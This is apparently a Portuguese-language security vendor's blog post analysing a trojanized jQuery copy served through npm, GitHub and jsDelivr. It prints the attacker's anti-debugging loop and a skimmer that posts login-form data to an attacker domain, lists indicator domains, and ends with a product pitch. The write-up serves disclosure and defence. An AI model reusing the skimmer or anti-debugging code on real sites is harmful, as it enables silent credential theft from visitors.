Resumo: ataque de jQuery trojanizado em CDN
- Um CDN de confiança corrompido: Toda a gente continua a confiar num CDN de jQuery porque sempre funcionou, mas a cópia trojanizada no jsDelivr alterou um único método do protótipo e exfiltrou silenciosamente todos os dados de formulário da página com um pedido GET assíncrono via $.ajax.
- A cside vê a alteração: A cópia maliciosa recebia cerca de 37.000 acessos por mês no npm, GitHub e jsDelivr. O agente JavaScript first-party da cside observa o comportamento em runtime de cada script no navegador e deteta uma alteração no payload antes de o código trojanizado chegar a executar-se na sessão de um utilizador real.
- O SRI não chega: Se a sua única proteção for o SRI no punhado de scripts que se lembrou de fixar, uma troca de conta de um responsável pela manutenção ou um mirror de CDN atualizado continuam a entregar código do atacante diretamente a cada visitante que carrega o seu checkout.
Sem tempo? Veja o bloqueio de Magecart e skimmers no navegador da cside. Cobre tudo o que se segue numa única implementação.
Foram encontrados ataques em jQuery trojanizado no GitHub, npm e jsDelivr num novo ataque à cadeia de abastecimento web. Cada pacote tinha uma cópia do jQuery com uma pequena alteração: a função "end". Esta faz parte do protótipo do jQuery e foi modificada para incluir código malicioso adicional.
No script malicioso, o atacante envia um pedido GET não bloqueante usando "$.ajax" para outros domínios. O URL do pedido inclui um parâmetro de consulta, que varia entre os diferentes pacotes. Como resultado, sempre que a função end é invocada, todos os dados de formulário na página são exfiltrados.
Isto foi descoberto primeiro no npm, e mais tarde em múltiplos repositórios do GitHub, bem como num recurso alojado num CDN, no jsDelivr.
Na nossa campanha intitulada o risco da cadeia de abastecimento não termina no npm, sublinhamos que o método de entrega de um script como este permite comportamento dinâmico. Isto torna a verificação de fontes ou a confiança apenas em métodos de entrega fiáveis um jogo arriscado, como este ataque ilustra. Isto engana frequentemente as firewalls e permite que código malicioso passe despercebido, e os atacantes estão bem cientes disso.
O que descobrimos
Obtivemos o código malicioso a partir do CDN oficial jsDelivr, que recebe 37.000 acessos por mês. Todos esses acessos incluem os scripts alterados e são inseguros.

Esta é parte do código malicioso que encontrámos e o que ele faz:

Esta parte do script serializa os dados do formulário, converte-os numa string hexadecimal e envia-os para um servidor remoto usando um pedido GET, expondo potencialmente informações sensíveis do utilizador sem consentimento. O uso de $.ajax com uma função assíncrona torna esta transferência de dados furtiva, o que sugere intenção maliciosa de recolher dados discretamente.
1. Mecanismo Anti-Depuração:
- Função de Intervalo: Uma função "_0x38c4a6" é executada a cada 4 segundos usando "setInterval". Esta função visa detetar e interromper tentativas de depuração, tirando partido da instrução "debugger" do JavaScript.
- Função Aninhada: Dentro de "_0x38c4a6", a função aninhada "_0x386016" contém lógica para chamar repetidamente "debugger" com base em determinadas condições, o que dificulta a depuração do código com ferramentas normais.
(function () {
setInterval(function () {
function antiDebugging(_0x44dcc7) {
if (typeof _0x44dcc7 === "string") {
return function () {}.constructor("while (true) {}").apply("counter");
} else {
if (('' + _0x44dcc7 / _0x44dcc7).length !== 1 || _0x44dcc7 % 20 === 0) {
(function () {
return true;
}).constructor("debugger").call("action");
} else {
(function () {
return false;
}).constructor("debugger").apply("stateObject");
}
}
antiDebugging(++_0x44dcc7);
}
try {
antiDebugging(0);
} catch (e) {}
}, 4000);
})();
2. Manipulador de Envio de Formulário:
- Seleção do Formulário: O script seleciona o formulário com a classe ".login-form".
- Evento de Envio: É associado um listener de eventos ao evento de envio do formulário.
- Pedido AJAX: Quando o formulário é submetido, é enviado um pedido AJAX POST para "https://koneksi.barux.my[.]id/index.php" com os dados do formulário serializados.
$(".login-form").submit(function () {
var form = $(".login-form");
$.ajax({
url: "https://koneksi.barux.my.id/index.php",
type: "POST",
data: form.serialize(),
success: function () {
return true;
},
error: function () {
return true;
}
});
});
Em conjunto, isto sugere que o script pode ser usado para impedir adulteração ou inspeção (através da lógica anti-depuração), enquanto envia silenciosamente dados de um formulário para um servidor remoto. Estes dados podem ser credenciais do utilizador ou outro tipo de informação.
Como é típico neste tipo de ataques, é difícil saber quantas pessoas foram afetadas. O método de entrega destes scripts permite comportamento dinâmico. Cada utilizador pode receber uma entrega diferente de cada vez, especialmente quando um script foi comprometido. Ou é completamente aleatório, ou está altamente direcionado e configurado desta forma para permanecer indetetável durante muito tempo.
Numa investigação publicada pela Phylum, sabemos que os seguintes domínios foram usados neste ataque:
- https://paneljs[.]hanznesia[.]my[.]id
- https://api-web-vrip[.]hanznesia[.]my[.]id
- https://log[.]api-system[.]engineer
- https://irisainginbos[.]icikipoxx[.]pw
- https://patipride[.]icikipoxx[.]pw
- https://apii[.]fukaes[.]ninja
- https://pukil[.]dannew[.]biz[.]id
- https://api[.]jstyy[.]xyz
- https://qxue[.]biz[.]id
- https://api[.]newrxl[.]online
- https://api[.]iimg[.]my[.]id
- https://apiweb[.]eventtss[.]my[.]id
- https://pokemon[.]denii[.]biz[.]id
- https://apii[.]codatuys[.]cab
- https://api[.]codatuys[.]biz[.]id
- https://saystem[.]ditzzultimate[.]xyz
- https://paneljs[.]dimashost[.]xyz
- https://cssimage[.]dimashost[.]xyz
- https://ajax[.]failexpect[.]biz[.]id
- https://ns[.]api-system[.]engineer
- https://log[.]systems-alexhost[.]xyz
- https://api-system[.]engineer
- https://systems-alexhost[.]xyz
- https://panel[.]api-bo[.]my[.]id
- https://project[.]systemgoods[.]me
- https://danu[.]eventtss[.]my[.]id
- https://panel-host[.]clannesia[.]com
- http://apii-pandawara[.]ganznesia[.]my[.]id
- https://system-alexhosting[.]biz[.]id
- https://nd[.]api-system[.]engineer
- https://anti-spam[.]truex[.]biz[.]id
- https://panel-host[.]dmdpanel[.]my[.]id
- https://api-bo[.]my[.]id
- https://pusat-js[.]truex[.]biz[.]id
O que pode fazer
O momento para medidas preventivas já passou. Verifique imediatamente o seu código em busca de referências aos repositórios e domínios afetados. Se as encontrar, remova-as.
Ataques como este costumavam ser impossíveis de detetar, já que os programadores que dependem de fontes de terceiros nem sempre têm conhecimento das alterações feitas nos próprios scripts. Os métodos de deteção mais antigos não têm em conta este tipo de alterações, pelo que não conseguem distingui-las.
Ao usar o plano gratuito da cside, é alertado sempre que é feita uma alteração dentro do próprio script. Bloqueamos autonomamente tudo o que seja malicioso, e obtém uma visão completa dos scripts desofuscados para perceber o que estão a servir.









